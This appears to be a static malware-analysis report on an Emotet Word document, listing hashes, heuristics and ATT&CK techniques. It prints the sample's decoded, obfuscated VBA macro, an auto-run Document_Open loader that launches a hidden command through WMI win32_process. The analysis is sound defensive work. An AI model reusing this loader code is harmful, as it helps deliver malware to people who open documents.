Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a333fa244b433049…

MALICIOUS

Office (OLE)

226.2 KB Created: 2020-08-11 18:32:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: bdc5dc534824031b6273b5f53b33ad52 SHA-1: 561eccc9f316434cc7809f2cd31a8a3ce457a84f SHA-256: a333fa244b433049bb35cd2d2b8a2ee2c904a26033a1f55f967159b4db8e49ba
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' specifically points to this technique. The ClamAV detection name also strongly suggests the Emotet family. The macro's obfuscated nature and use of CreateObject indicate it's designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9278498-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9278498-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4355 bytes
SHA-256: 7607579cf60e08eb991c392e4901f52c507532885bd5e53ce8ac6bbb6bf677f5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ZETCYloadveqjjjhze"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
BOKDUchutpwttmkt.NAUANnvvnvedteplpq
End Sub


Attribute VB_Name = "BOKDUchutpwttmkt"
Attribute VB_Base = "0{CCE37A67-D2FF-4E3E-8766-BBCEFA27FAF1}{BC5100A1-F8C5-45BC-87D4-D5F12FE5614C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function NAUANnvvnvedteplpq()
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
CJGZXqobxhggpjfnmz = BOKDUchutpwttmkt.Zoom
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
LYEMOjgkzsqusgof = ChrW(CJGZXqobxhggpjfnmz + ((30 + 60 + 30) / (4 + 4)))
Dim p1Èck3ÃQU As Date
BKATHgufvlemwmryc = "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhi920jG&2(nbsjg uiyqGb2234%42bjhnm920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhgm920jG&2(nbsjg uiyqGb2234%42bjht920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh" + LYEMOjgkzsqusgof + "920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh:920jG&2(nbsjg uiyqGb2234%42bjhw920jG&2(nbsjg uiyqGb2234%42bjhin920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjh3920jG&2(nbsjg uiyqGb2234%42bjh2920jG&2(nbsjg uiyqGb2234%42bjh_920jG&2(nbsjg uiyqGb2234%42bjh" + BOKDUchutpwttmkt.OUXGIyxbvinql + "920jG&2(nbsjg uiyqGb2234%42bjhro920jG&2(nbsjg uiyqGb2234%42bjh920jG&2(nbsjg uiyqGb2234%42bjhce920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjhs920jG&2(nbsjg uiyqGb2234%42bjh"
Dim tqSQH3Í As Integer
tqSQH3Í = 3
Do While tqSQH3Í < 3 + 6
tqSQH3Í = tqSQH3Í + 6: DoEvents
Loop
WJECXpjifykygvzit = NPHHHqwmcrkv(BKATHgufvlemwmryc)
Dim JtF1ÔVIsgfW As Variant
Set UJLGKytbclrfg = CreateObject(WJECXpjifykygvzit)
Dim r4ÖKHihX As Integer
r4ÖKHihX = 9
Do While r4ÖKHihX < 9 + 5
r4ÖKHihX = r4ÖKHihX + 7: DoEvents
Loop
URYTGajcuzhka = BOKDUchutpwttmkt.CQIOTgnarmlrfigvsba.ControlTipText
Dim aKHZFGTowB As Currency
NFOUWlgzfgjfulk = m2m3b5 + (WJECXpjifykygvzit + LYEMOjgkzsqusgof + BOKDUchutpwttmkt.OLNSXuawxysdcuyjo.ControlTipText + URYTGajcuzhka)
Dim fIspInaCW As String
EYFPXqmkcprfldxnnv = NFOUWlgzfgjfulk + BOKDUchutpwttmkt.OUXGIyxbvinql
Dim n8ÈRMOqNXp As Integer
n8ÈRMOqNXp = 4
Do While n8ÈRMOqNXp < 4 + 4
n8ÈRMOqNXp = n8ÈRMOqNXp + 1: DoEvents
Loop
Set PDWAMvsraijomo = MOOVZdemkjdvk(EYFPXqmkcprfldxnnv)
Dim K0ÏyYuGKEqS As Currency
pppp1n1b = Array(ns123v4 + "jbjksgui qguw egq wuieg qbnmasm", UJLGKytbclrfg. _
Create(USRURxamzemvmmpnex, AAFWHwcrwckwczyuouw, PDWAMvsraijomo), masb1 + ",jha ghauig qugq bbbs")
Dim LRhpI5ÓslYA As Double
End Function
Function USRURxamzemvmmpnex()
n21bh3 = BOKDUchutpwttmkt.RJQWSgzwiswselb.Pages(vbOK).Caption
USRURxamzemvmmpnex = NPHHHqwmcrkv(n21bh3)
dgKyIcWY = 7
Do While dgKyIcWY < 7 + 1
dgKyIcWY = dgKyIcWY + 1: DoEvents
Loop
End Function
Function MOOVZdemkjdvk(UPJZXqhdvrndbebygqk)
Dim AFH As Integer
AFH = 3
Do While AFH < 3 + 3
AFH = AFH + 2: DoEvents
Loop
Dim SkQD As Currency
Dim PFGLM As Integer
PFGLM = 4
Do While PFGLM < 4 + 4
PFGLM = PFGLM + 3: DoEvents
Loop
Set MOOVZdemkjdvk = CreateObject(UPJZXqhdvrndbebygqk)
Dim WbU1Ïq As Integer
WbU1Ïq = 1
Do While WbU1Ïq < 1 + 4
WbU1Ïq = WbU1Ïq + 1: DoEvents
Loop
MOOVZdemkjdvk. _
showwindow = PDMYZustjjjhbxukitt + NXPGLxnmhkfavikxoh
Dim UMbU As Object
End Function
Function NPHHHqwmcrkv(YWELSnkwllfjbal)
DJICUmyfnnwyrbbttzr = YWELSnkwllfjbal
Dim ZvdC As Currency
QZBDVxjtxivbalmdn = Split _
(DJICUmyfnnwyrbbttzr, "920jG&2(nbsjg uiyqGb2234%42bjh")
Dim Hih4å As Integer
Hih4å = 5
Do While Hih4å < 5 + 7
Hih4å = Hih4å + 6: DoEvents
Loop
DHRSJmbyqcmhzqn = mmm2 + Join(QZBDVxjtxivbalmdn, msnj2)
Dim r4áAANisy As In
... (truncated)